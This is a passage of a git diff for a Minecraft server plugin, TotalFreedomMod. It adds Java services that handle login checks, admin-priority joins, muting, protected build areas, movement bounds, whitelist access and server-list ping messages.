DO_TILE_DROPS("doTileDrops", TFM_GameRule_Value.TRUE),
|
||||
COMMAND_BLOCK_OUTPUT("commandBlockOutput", TFM_GameRule_Value.TRUE),
|
||||
NATURAL_REGENERATION("naturalRegeneration", TFM_GameRule_Value.TRUE),
|
||||
DO_DAYLIGHT_CYCLE("doDaylightCycle", TFM_GameRule_Value.TRUE);
|
||||
private final String gameRuleName;
|
||||
private final TFM_GameRule_Value defaultValue;
|
||||
|
||||
private TFM_GameRule(String gameRuleName, TFM_GameRule_Value defaultValue)
|
||||
{
|
||||
this.gameRuleName = gameRuleName;
|
||||
this.defaultValue = defaultValue;
|
||||
}
|
||||
|
||||
public String getGameRuleName()
|
||||
{
|
||||
return gameRuleName;
|
||||
}
|
||||
|
||||
public TFM_GameRule_Value getDefaultValue()
|
||||
{
|
||||
return defaultValue;
|
||||
}
|
||||
}
|
||||
|
||||
public static enum TFM_GameRule_Value
|
||||
{
|
||||
TRUE("true"), FALSE("false");
|
||||
private final String value;
|
||||
|
||||
private TFM_GameRule_Value(String value)
|
||||
{
|
||||
this.value = value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString()
|
||||
{
|
||||
return this.value;
|
||||
}
|
||||
|
||||
public boolean toBoolean()
|
||||
{
|
||||
return (this.value.equals(TFM_GameRule_Value.TRUE.value));
|
||||
}
|
||||
|
||||
public static TFM_GameRule_Value fromBoolean(boolean in)
|
||||
{
|
||||
return (in ? TFM_GameRule_Value.TRUE : TFM_GameRule_Value.FALSE);
|
||||
}
|
||||
}
|
||||
}
|
203
src/main/java/me/totalfreedom/totalfreedommod/LoginProcess.java
Normal file
203
src/main/java/me/totalfreedom/totalfreedommod/LoginProcess.java
Normal file
@ -0,0 +1,203 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import java.util.regex.Pattern;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
|
||||
import org.bukkit.event.player.PlayerJoinEvent;
|
||||
import org.bukkit.event.player.PlayerLoginEvent;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
public class LoginProcess extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
public static final int DEFAULT_PORT = 25565;
|
||||
public static final Pattern USERNAME_REGEX = Pattern.compile("^[\\w\\d_]{3,20}$");
|
||||
|
||||
public LoginProcess(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
/*
|
||||
* Banning and Permban checks are their respective services
|
||||
*/
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onPlayerPreLogin(AsyncPlayerPreLoginEvent event)
|
||||
{
|
||||
final String ip = event.getAddress().getHostAddress().trim();
|
||||
final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
|
||||
|
||||
// Check if the player is already online
|
||||
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||
{
|
||||
if (!onlinePlayer.getName().equalsIgnoreCase(event.getName()))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (isAdmin)
|
||||
{
|
||||
event.allow();
|
||||
FSync.playerKick(onlinePlayer, "An admin just logged in with the username you are using.");
|
||||
return;
|
||||
}
|
||||
|
||||
event.disallow(AsyncPlayerPreLoginEvent.Result.KICK_OTHER, "Your username is already logged into this server.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onPlayerLogin(PlayerLoginEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
final String username = player.getName();
|
||||
final String ip = event.getAddress().getHostAddress().trim();
|
||||
|
||||
// Check username length
|
||||
if (username.length() < 3 || username.length() > TotalFreedomMod.MAX_USERNAME_LENGTH)
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Your username is an invalid length (must be between 3 and 20 characters long).");
|
||||
return;
|
||||
}
|
||||
|
||||
// Check username characters
|
||||
if (!USERNAME_REGEX.matcher(username).find())
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Your username contains invalid characters.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Check force-IP match
|
||||
if (ConfigEntry.FORCE_IP_ENABLED.getBoolean())
|
||||
{
|
||||
final String hostname = event.getHostname().replace("\u0000FML\u0000", ""); // Forge fix - https://github.com/TotalFreedom/TotalFreedomMod/issues/493
|
||||
final String connectAddress = ConfigEntry.SERVER_ADDRESS.getString();
|
||||
final int connectPort = server.getPort();
|
||||
|
||||
if (!hostname.equalsIgnoreCase(connectAddress + ":" + connectPort) && !hostname.equalsIgnoreCase(connectAddress + ".:" + connectPort))
|
||||
{
|
||||
final int forceIpPort = ConfigEntry.FORCE_IP_PORT.getInteger();
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
|
||||
ConfigEntry.FORCE_IP_KICKMSG.getString()
|
||||
.replace("%address%", ConfigEntry.SERVER_ADDRESS.getString() + (forceIpPort == DEFAULT_PORT ? "" : ":" + forceIpPort)));
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Generate playerdata if it is nonexistent
|
||||
plugin.pl.getData(player);
|
||||
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||
fPlayer.setSuperadminIdVerified(false);
|
||||
|
||||
// Check if player is admin
|
||||
// Not safe to use TFM_Util.isSuperAdmin(player) because player.getAddress() will return a null until after player login.
|
||||
final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
|
||||
|
||||
// Validation below this point
|
||||
if (isAdmin) // Player is superadmin
|
||||
{
|
||||
// Force-allow log in
|
||||
event.allow();
|
||||
|
||||
int count = server.getOnlinePlayers().size();
|
||||
if (count >= server.getMaxPlayers())
|
||||
{
|
||||
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||
{
|
||||
if (!plugin.al.isAdmin(onlinePlayer))
|
||||
{
|
||||
onlinePlayer.kickPlayer("You have been kicked to free up room for an admin.");
|
||||
count--;
|
||||
}
|
||||
|
||||
if (count < server.getMaxPlayers())
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= server.getMaxPlayers())
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "The server is full and a player could not be kicked, sorry!");
|
||||
return;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Player is not an admin
|
||||
// Server full check
|
||||
if (server.getOnlinePlayers().size() >= server.getMaxPlayers())
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_FULL, "Sorry, but this server is full.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Admin-only mode
|
||||
if (ConfigEntry.ADMIN_ONLY_MODE.getBoolean())
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Server is temporarily open to admins only.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Lockdown mode
|
||||
if (TotalFreedomMod.lockdownEnabled)
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Server is currently in lockdown mode.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Whitelist
|
||||
if (plugin.si.isWhitelisted())
|
||||
{
|
||||
if (!plugin.si.getWhitelisted().contains(username.toLowerCase()))
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "You are not whitelisted on this server.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR)
|
||||
public void onPlayerJoin(PlayerJoinEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
new BukkitRunnable()
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
if (ConfigEntry.ADMIN_ONLY_MODE.getBoolean())
|
||||
{
|
||||
player.sendMessage(ChatColor.RED + "Server is currently closed to non-superadmins.");
|
||||
}
|
||||
|
||||
if (TotalFreedomMod.lockdownEnabled)
|
||||
{
|
||||
FUtil.playerMsg(player, "Warning: Server is currenty in lockdown-mode, new players will not be able to join!", ChatColor.RED);
|
||||
}
|
||||
}
|
||||
}.runTaskLater(TotalFreedomMod.plugin, 20L * 1L);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,54 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerLoginEvent;
|
||||
import org.bukkit.event.player.PlayerTeleportEvent;
|
||||
|
||||
public class MovementValidator extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public static final int MAX_XZ_COORD = 30000000;
|
||||
|
||||
public MovementValidator(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onPlayerTeleport(PlayerTeleportEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
// Check absolute value to account for negatives
|
||||
if (Math.abs(event.getTo().getX()) >= MAX_XZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XZ_COORD)
|
||||
{
|
||||
event.setCancelled(true); // illegal position, cancel it
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onPlayerLogin(PlayerLoginEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
// Validate position
|
||||
if (Math.abs(player.getLocation().getX()) >= MAX_XZ_COORD || Math.abs(player.getLocation().getZ()) >= MAX_XZ_COORD)
|
||||
{
|
||||
player.teleport(player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn
|
||||
}
|
||||
}
|
||||
|
||||
}
|
96
src/main/java/me/totalfreedom/totalfreedommod/Muter.java
Normal file
96
src/main/java/me/totalfreedom/totalfreedommod/Muter.java
Normal file
@ -0,0 +1,96 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.regex.Pattern;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.AsyncPlayerChatEvent;
|
||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||
|
||||
public class Muter extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
// TODO: Match actual commands
|
||||
public final List<String> MUTE_COMMANDS = Arrays.asList(StringUtils.split("say,me,msg,m,tell,r,reply,mail,email", ","));
|
||||
|
||||
public Muter(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOW)
|
||||
public void onAsyncPlayerChatEvent(AsyncPlayerChatEvent event)
|
||||
{
|
||||
FPlayer fPlayer = plugin.pl.getPlayerSync(event.getPlayer());
|
||||
|
||||
if (!fPlayer.isMuted())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (plugin.al.isAdminSync(event.getPlayer()))
|
||||
{
|
||||
fPlayer.setMuted(false);
|
||||
return;
|
||||
}
|
||||
|
||||
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "You are muted, STFU! - You will be unmuted in 5 minutes.");
|
||||
event.setCancelled(true);
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOW)
|
||||
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||
{
|
||||
|
||||
Player player = event.getPlayer();
|
||||
FPlayer fPlayer = plugin.pl.getPlayer(event.getPlayer());
|
||||
|
||||
// Block commands if player is muted
|
||||
if (!fPlayer.isMuted())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
String command = event.getMessage();
|
||||
if (plugin.al.isAdmin(player))
|
||||
{
|
||||
fPlayer.setMuted(false);
|
||||
return;
|
||||
}
|
||||
|
||||
// TODO: Find match actual command, instead of label
|
||||
for (String commandName : MUTE_COMMANDS)
|
||||
{
|
||||
if (Pattern.compile("^/" + commandName.toLowerCase() + " ").matcher(command.toLowerCase()).find())
|
||||
{
|
||||
player.sendMessage(ChatColor.RED + "That command is blocked while you are muted.");
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigEntry.ENABLE_PREPROCESS_LOG.getBoolean())
|
||||
{
|
||||
FLog.info(String.format("[PREPROCESS_COMMAND] %s(%s): %s", player.getName(), ChatColor.stripColor(player.getDisplayName()), command), true);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
47
src/main/java/me/totalfreedom/totalfreedommod/Orbiter.java
Normal file
47
src/main/java/me/totalfreedom/totalfreedommod/Orbiter.java
Normal file
@ -0,0 +1,47 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerMoveEvent;
|
||||
import org.bukkit.util.Vector;
|
||||
|
||||
public class Orbiter extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public Orbiter(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onPlayerMove(PlayerMoveEvent event)
|
||||
{
|
||||
|
||||
final Player player = event.getPlayer();
|
||||
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||
|
||||
if (!fPlayer.isOrbiting())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (player.getVelocity().length() < fPlayer.orbitStrength() * (2.0 / 3.0))
|
||||
{
|
||||
player.setVelocity(new Vector(0, fPlayer.orbitStrength(), 0));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
392
src/main/java/me/totalfreedom/totalfreedommod/ProtectArea.java
Normal file
392
src/main/java/me/totalfreedom/totalfreedommod/ProtectArea.java
Normal file
@ -0,0 +1,392 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.util.HashMap;
|
||||
import java.util.Iterator;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.UUID;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.World;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.block.BlockBreakEvent;
|
||||
import org.bukkit.event.block.BlockPlaceEvent;
|
||||
import org.bukkit.util.Vector;
|
||||
|
||||
public class ProtectArea extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
public static final double MAX_RADIUS = 50.0;
|
||||
//
|
||||
private final Map<String, SerializableProtectedRegion> areas = Maps.newHashMap();
|
||||
|
||||
public ProtectArea(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
File input = new File(TotalFreedomMod.plugin.getDataFolder(), TotalFreedomMod.PROTECTED_AREA_FILENAME);
|
||||
try
|
||||
{
|
||||
if (input.exists())
|
||||
{
|
||||
FileInputStream fis = new FileInputStream(input);
|
||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
||||
areas.clear();
|
||||
areas.putAll((HashMap<String, SerializableProtectedRegion>) ois.readObject());
|
||||
ois.close();
|
||||
fis.close();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
input.delete();
|
||||
FLog.severe(ex);
|
||||
}
|
||||
|
||||
cleanProtectedAreas();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
save();
|
||||
}
|
||||
|
||||
public void save()
|
||||
{
|
||||
try
|
||||
{
|
||||
FileOutputStream fos = new FileOutputStream(new File(TotalFreedomMod.plugin.getDataFolder(), TotalFreedomMod.PROTECTED_AREA_FILENAME));
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(areas);
|
||||
oos.close();
|
||||
fos.close();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onBlockBreak(BlockBreakEvent event)
|
||||
{
|
||||
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Player player = event.getPlayer();
|
||||
if (plugin.al.isAdmin(player))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Location location = event.getBlock().getLocation();
|
||||
|
||||
if (isInProtectedArea(location))
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onBlockPlace(BlockPlaceEvent event)
|
||||
{
|
||||
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Player player = event.getPlayer();
|
||||
if (plugin.al.isAdmin(player))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Location location = event.getBlock().getLocation();
|
||||
|
||||
if (isInProtectedArea(location))
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInProtectedArea(final Location modifyLocation)
|
||||
{
|
||||
boolean doSave = false;
|
||||
boolean inProtectedArea = false;
|
||||
|
||||
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
|
||||
|
||||
while (it.hasNext())
|
||||
{
|
||||
final SerializableProtectedRegion region = it.next().getValue();
|
||||
|
||||
Location regionCenter = null;
|
||||
try
|
||||
{
|
||||
regionCenter = region.getLocation();
|
||||
}
|
||||
catch (SerializableProtectedRegion.CantFindWorldException ex)
|
||||
{
|
||||
it.remove();
|
||||
doSave = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (regionCenter != null)
|
||||
{
|
||||
if (modifyLocation.getWorld() == regionCenter.getWorld())
|
||||
{
|
||||
final double regionRadius = region.getRadius();
|
||||
if (modifyLocation.distanceSquared(regionCenter) <= (regionRadius * regionRadius))
|
||||
{
|
||||
inProtectedArea = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (doSave)
|
||||
{
|
||||
save();
|
||||
}
|
||||
|
||||
return inProtectedArea;
|
||||
}
|
||||
|
||||
public boolean isInProtectedArea(final Vector min, final Vector max, final String worldName)
|
||||
{
|
||||
boolean doSave = false;
|
||||
boolean inProtectedArea = false;
|
||||
|
||||
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
|
||||
|
||||
while (it.hasNext())
|
||||
{
|
||||
final SerializableProtectedRegion region = it.next().getValue();
|
||||
|
||||
Location regionCenter = null;
|
||||
try
|
||||
{
|
||||
regionCenter = region.getLocation();
|
||||
}
|
||||
catch (SerializableProtectedRegion.CantFindWorldException ex)
|
||||
{
|
||||
it.remove();
|
||||
doSave = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (regionCenter != null)
|
||||
{
|
||||
if (worldName.equals(regionCenter.getWorld().getName()))
|
||||
{
|
||||
if (cubeIntersectsSphere(min, max, regionCenter.toVector(), region.getRadius()))
|
||||
{
|
||||
inProtectedArea = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (doSave)
|
||||
{
|
||||
save();
|
||||
}
|
||||
|
||||
return inProtectedArea;
|
||||
}
|
||||
|
||||
private boolean cubeIntersectsSphere(Vector min, Vector max, Vector sphere, double radius)
|
||||
{
|
||||
double d = square(radius);
|
||||
|
||||
if (sphere.getX() < min.getX())
|
||||
{
|
||||
d -= square(sphere.getX() - min.getX());
|
||||
}
|
||||
else if (sphere.getX() > max.getX())
|
||||
{
|
||||
d -= square(sphere.getX() - max.getX());
|
||||
}
|
||||
if (sphere.getY() < min.getY())
|
||||
{
|
||||
d -= square(sphere.getY() - min.getY());
|
||||
}
|
||||
else if (sphere.getY() > max.getY())
|
||||
{
|
||||
d -= square(sphere.getY() - max.getY());
|
||||
}
|
||||
if (sphere.getZ() < min.getZ())
|
||||
{
|
||||
d -= square(sphere.getZ() - min.getZ());
|
||||
}
|
||||
else if (sphere.getZ() > max.getZ())
|
||||
{
|
||||
d -= square(sphere.getZ() - max.getZ());
|
||||
}
|
||||
|
||||
return d > 0;
|
||||
}
|
||||
|
||||
private double square(double v)
|
||||
{
|
||||
return v * v;
|
||||
}
|
||||
|
||||
public void addProtectedArea(String label, Location location, double radius)
|
||||
{
|
||||
areas.put(label.toLowerCase(), new SerializableProtectedRegion(location, radius));
|
||||
save();
|
||||
}
|
||||
|
||||
public void removeProtectedArea(String label)
|
||||
{
|
||||
areas.remove(label.toLowerCase());
|
||||
save();
|
||||
}
|
||||
|
||||
public void clearProtectedAreas()
|
||||
{
|
||||
clearProtectedAreas(true);
|
||||
}
|
||||
|
||||
public void clearProtectedAreas(boolean createSpawnpointProtectedAreas)
|
||||
{
|
||||
areas.clear();
|
||||
|
||||
if (createSpawnpointProtectedAreas)
|
||||
{
|
||||
autoAddSpawnpoints();
|
||||
}
|
||||
|
||||
save();
|
||||
}
|
||||
|
||||
public void cleanProtectedAreas()
|
||||
{
|
||||
boolean doSave = false;
|
||||
|
||||
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
|
||||
|
||||
while (it.hasNext())
|
||||
{
|
||||
try
|
||||
{
|
||||
it.next().getValue().getLocation();
|
||||
}
|
||||
catch (SerializableProtectedRegion.CantFindWorldException ex)
|
||||
{
|
||||
it.remove();
|
||||
doSave = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (doSave)
|
||||
{
|
||||
save();
|
||||
}
|
||||
}
|
||||
|
||||
public Set<String> getProtectedAreaLabels()
|
||||
{
|
||||
return areas.keySet();
|
||||
}
|
||||
|
||||
public void autoAddSpawnpoints()
|
||||
{
|
||||
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (ConfigEntry.PROTECTAREA_SPAWNPOINTS.getBoolean())
|
||||
{
|
||||
for (World world : Bukkit.getWorlds())
|
||||
{
|
||||
addProtectedArea("spawn_" + world.getName(), world.getSpawnLocation(), ConfigEntry.PROTECTAREA_RADIUS.getDouble());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class SerializableProtectedRegion implements Serializable
|
||||
{
|
||||
private static final long serialVersionUID = 213123517828282L;
|
||||
private final double x, y, z;
|
||||
private final double radius;
|
||||
private final String worldName;
|
||||
private final UUID worldUUID;
|
||||
private transient Location location = null;
|
||||
|
||||
public SerializableProtectedRegion(final Location location, final double radius)
|
||||
{
|
||||
this.x = location.getX();
|
||||
this.y = location.getY();
|
||||
this.z = location.getZ();
|
||||
this.radius = radius;
|
||||
this.worldName = location.getWorld().getName();
|
||||
this.worldUUID = location.getWorld().getUID();
|
||||
this.location = location;
|
||||
}
|
||||
|
||||
public Location getLocation() throws CantFindWorldException
|
||||
{
|
||||
if (this.location == null)
|
||||
{
|
||||
World world = Bukkit.getWorld(this.worldUUID);
|
||||
|
||||
if (world == null)
|
||||
{
|
||||
world = Bukkit.getWorld(this.worldName);
|
||||
}
|
||||
|
||||
if (world == null)
|
||||
{
|
||||
throw new CantFindWorldException("Can't find world " + this.worldName + ", UUID: " + this.worldUUID.toString());
|
||||
}
|
||||
|
||||
location = new Location(world, x, y, z);
|
||||
}
|
||||
return this.location;
|
||||
}
|
||||
|
||||
public double getRadius()
|
||||
{
|
||||
return radius;
|
||||
}
|
||||
|
||||
public class CantFindWorldException extends Exception
|
||||
{
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
public CantFindWorldException(String string)
|
||||
{
|
||||
super(string);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,73 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import net.minecraft.server.v1_8_R3.EntityPlayer;
|
||||
import net.minecraft.server.v1_8_R3.MinecraftServer;
|
||||
import net.minecraft.server.v1_8_R3.PropertyManager;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
|
||||
public class ServerInterface extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
public static final String COMPILE_NMS_VERSION = "v1_8_R3";
|
||||
|
||||
public ServerInterface(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
public void setOnlineMode(boolean mode)
|
||||
{
|
||||
final PropertyManager manager = MinecraftServer.getServer().getPropertyManager();
|
||||
manager.setProperty("online-mode", mode);
|
||||
manager.savePropertiesFile();
|
||||
}
|
||||
|
||||
public int purgeWhitelist()
|
||||
{
|
||||
String[] whitelisted = MinecraftServer.getServer().getPlayerList().getWhitelisted();
|
||||
int size = whitelisted.length;
|
||||
for (EntityPlayer player : MinecraftServer.getServer().getPlayerList().players)
|
||||
{
|
||||
MinecraftServer.getServer().getPlayerList().getWhitelist().remove(player.getProfile());
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
MinecraftServer.getServer().getPlayerList().getWhitelist().save();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.warning("Could not purge the whitelist!");
|
||||
FLog.warning(ex);
|
||||
}
|
||||
return size;
|
||||
}
|
||||
|
||||
public boolean isWhitelisted()
|
||||
{
|
||||
return MinecraftServer.getServer().getPlayerList().getHasWhitelist();
|
||||
}
|
||||
|
||||
public List<?> getWhitelisted()
|
||||
{
|
||||
return Arrays.asList(MinecraftServer.getServer().getPlayerList().getWhitelisted());
|
||||
}
|
||||
|
||||
public String getVersion()
|
||||
{
|
||||
return MinecraftServer.getServer().getVersion();
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,77 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.server.ServerListPingEvent;
|
||||
|
||||
public class ServerPing extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public ServerPing(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onServerPing(ServerListPingEvent event)
|
||||
{
|
||||
final String ip = event.getAddress().getHostAddress().trim();
|
||||
|
||||
if (plugin.bm.isIpBanned(ip))
|
||||
{
|
||||
event.setMotd(ChatColor.RED + "You are banned.");
|
||||
return;
|
||||
}
|
||||
|
||||
